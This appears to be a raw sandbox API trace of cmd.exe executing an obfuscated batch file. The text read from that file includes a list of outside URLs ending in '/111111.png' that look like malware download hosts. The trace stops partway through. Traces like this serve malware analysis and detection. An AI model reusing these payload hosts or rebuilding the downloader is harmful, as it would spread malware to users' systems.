lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.395] GetLastError () returned 0x2 [0232.395] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.395] GetLastError () returned 0x2 [0232.395] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.395] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.396] GetLastError () returned 0x2 [0232.396] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.396] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cc70 [0232.396] FindClose (in: hFindFile=0x20b0f92cc70 | out: hFindFile=0x20b0f92cc70) returned 1 [0232.396] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.396] GetLastError () returned 0x2 [0232.396] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.396] GetLastError () returned 0x2 [0232.396] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.397] GetLastError () returned 0x2 [0232.397] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.397] GetLastError () returned 0x2 [0232.397] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.397] GetLastError () returned 0x2 [0232.397] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.397] GetLastError () returned 0x2 [0232.397] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.398] GetLastError () returned 0x2 [0232.398] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.398] GetLastError () returned 0x2 [0232.398] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.398] GetLastError () returned 0x2 [0232.398] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.399] GetLastError () returned 0x2 [0232.399] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.399] GetLastError () returned 0x2 [0232.399] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.399] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.399] GetLastError () returned 0x2 [0232.399] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.399] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.400] GetLastError () returned 0x2 [0232.400] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.400] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.400] GetLastError () returned 0x2 [0232.400] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.400] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.400] GetLastError () returned 0x2 [0232.400] ??_V@YAXPEAX@Z () returned 0x1 [0232.401] _get_osfhandle (_FileHandle=2) returned 0x54 [0232.401] GetFileType (hFile=0x54) returned 0x2 [0232.401] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0232.401] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0232.402] _get_osfhandle (_FileHandle=2) returned 0x54 [0232.402] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0232.402] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0232.402] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0232.402] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0232.410] ??_V@YAXPEAX@Z () returned 0x1 [0232.411] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.411] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0232.412] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.412] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0232.412] _get_osfhandle (_FileHandle=0) returned 0x4c [0232.412] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0232.413] SetConsoleInputExeNameW () returned 0x1 [0232.413] GetConsoleOutputCP () returned 0x1b5 [0232.413] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0232.413] SetThreadUILanguage (LangId=0x0) returned 0x409 [0232.413] ??_V@YAXPEAX@Z () returned 0x1 [0232.415] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0232.415] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0232.415] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.415] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4726, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1276 [0232.415] GetProcessHeap () returned 0x20b0f920000 [0232.415] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956910) returned 1 [0232.415] GetProcessHeap () returned 0x20b0f920000 [0232.415] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0232.415] GetProcessHeap () returned 0x20b0f920000 [0232.415] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9476d0) returned 1 [0232.416] GetProcessHeap () returned 0x20b0f920000 [0232.416] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0232.416] GetProcessHeap () returned 0x20b0f920000 [0232.416] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9570a0) returned 1 [0232.416] GetProcessHeap () returned 0x20b0f920000 [0232.416] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0232.416] GetProcessHeap () returned 0x20b0f920000 [0232.416] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956880) returned 1 [0232.416] GetProcessHeap () returned 0x20b0f920000 [0232.416] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0232.416] GetProcessHeap () returned 0x20b0f920000 [0232.416] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947c10) returned 1 [0232.416] GetProcessHeap () returned 0x20b0f920000 [0232.416] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0232.416] GetProcessHeap () returned 0x20b0f920000 [0232.416] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9259d0) returned 1 [0232.416] GetProcessHeap () returned 0x20b0f920000 [0232.416] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0232.416] GetProcessHeap () returned 0x20b0f920000 [0232.416] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0232.417] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.417] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1276 [0232.417] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x53f, lpOverlapped=0x0) returned 1 [0232.417] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4735, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x127f [0232.417] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\ndows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0232.417] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.417] GetFileType (hFile=0x9c) returned 0x1 [0232.417] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.417] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127f [0232.417] GetProcessHeap () returned 0x20b0f920000 [0232.417] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0232.418] GetProcessHeap () returned 0x20b0f920000 [0232.418] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0232.420] _tell (_FileHandle=3) returned 4735 [0232.420] _close (_FileHandle=3) returned 0 [0232.420] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0232.420] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0232.420] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.420] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4735, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x127f [0232.421] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.421] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127f [0232.421] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x536, lpOverlapped=0x0) returned 1 [0232.421] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4791, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12b7 [0232.421] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=56, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" XP and is listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 56 [0232.421] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.421] GetFileType (hFile=0x9c) returned 0x1 [0232.421] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.421] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12b7 [0232.421] GetProcessHeap () returned 0x20b0f920000 [0232.421] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0232.422] GetProcessHeap () returned 0x20b0f920000 [0232.422] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0232.422] _wcsicmp (_String1="XP", _String2=")") returned 79 [0232.422] _wcsicmp (_String1="FOR", _String2="XP") returned -18 [0232.422] _wcsicmp (_String1="FOR/?", _String2="XP") returned -18 [0232.422] _wcsicmp (_String1="IF", _String2="XP") returned -15 [0232.422] _wcsicmp (_String1="IF/?", _String2="XP") returned -15 [0232.422] _wcsicmp (_String1="REM", _String2="XP") returned -6 [0232.422] _wcsicmp (_String1="REM/?", _String2="XP") returned -6 [0232.422] GetProcessHeap () returned 0x20b0f920000 [0232.422] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0232.422] GetProcessHeap () returned 0x20b0f920000 [0232.422] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x16) returned 0x20b0f929d90 [0232.422] GetProcessHeap () returned 0x20b0f920000 [0232.422] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x76) returned 0x20b0f94af70 [0232.422] _tell (_FileHandle=3) returned 4791 [0232.423] _close (_FileHandle=3) returned 0 [0232.423] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0232.423] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.423] GetFileType (hFile=0x50) returned 0x2 [0232.423] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.423] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0232.425] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.425] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0232.429] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0232.429] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0232.429] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0232.429] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.429] GetFileType (hFile=0x50) returned 0x2 [0232.429] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.429] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0232.430] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.430] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0232.430] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.430] GetFileType (hFile=0x50) returned 0x2 [0232.430] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.430] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0232.431] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.431] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f929da0*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f929da0*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0232.431] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" and is listed separately on this page. Synta ") returned 51 [0232.431] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.431] GetFileType (hFile=0x50) returned 0x2 [0232.431] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.431] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0232.431] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.431] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x33, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x33) returned 1 [0232.432] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0232.432] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.432] GetFileType (hFile=0x50) returned 0x2 [0232.432] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.432] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0232.432] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.432] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0232.437] malloc (_Size=0xffce) returned 0x20b0fa60940 [0232.438] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0232.438] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0232.438] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0232.438] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0232.438] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0232.438] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0232.438] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0232.438] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0232.439] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0232.439] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0232.439] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0232.439] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0232.439] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0232.439] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0232.439] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0232.439] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0232.439] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0232.439] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0232.439] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0232.439] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0232.439] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0232.439] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0232.439] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0232.439] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0232.439] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0232.439] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0232.439] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0232.439] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0232.439] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0232.439] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0232.439] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0232.439] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0232.439] _wcsicmp (_String1="XP", _String2="START") returned 5 [0232.439] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0232.439] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0232.440] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0232.440] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0232.440] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0232.440] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0232.440] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0232.440] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0232.440] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0232.440] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0232.440] _wcsnicmp (_String1="XP", _String2="cmd ", _MaxCount=0x4) returned 21 [0232.440] malloc (_Size=0xffce) returned 0x20b0fa70920 [0232.440] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0232.441] GetProcessHeap () returned 0x20b0f920000 [0232.441] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0232.443] SetErrorMode (uMode=0x0) returned 0x0 [0232.443] SetErrorMode (uMode=0x1) returned 0x0 [0232.443] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0232.443] SetErrorMode (uMode=0x0) returned 0x1 [0232.443] GetProcessHeap () returned 0x20b0f920000 [0232.444] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x3e) returned 0x20b0f957f90 [0232.444] GetProcessHeap () returned 0x20b0f920000 [0232.444] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x3e [0232.444] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0232.444] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0232.444] GetProcessHeap () returned 0x20b0f920000 [0232.444] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947c10 [0232.444] GetProcessHeap () returned 0x20b0f920000 [0232.444] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0232.444] GetProcessHeap () returned 0x20b0f920000 [0232.444] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0232.444] GetProcessHeap () returned 0x20b0f920000 [0232.444] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0232.444] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0232.444] GetProcessHeap () returned 0x20b0f920000 [0232.444] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947460 [0232.444] GetProcessHeap () returned 0x20b0f920000 [0232.444] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947460, Size=0x7e) returned 0x20b0f956b50 [0232.444] GetProcessHeap () returned 0x20b0f920000 [0232.444] RtlSizeHeap 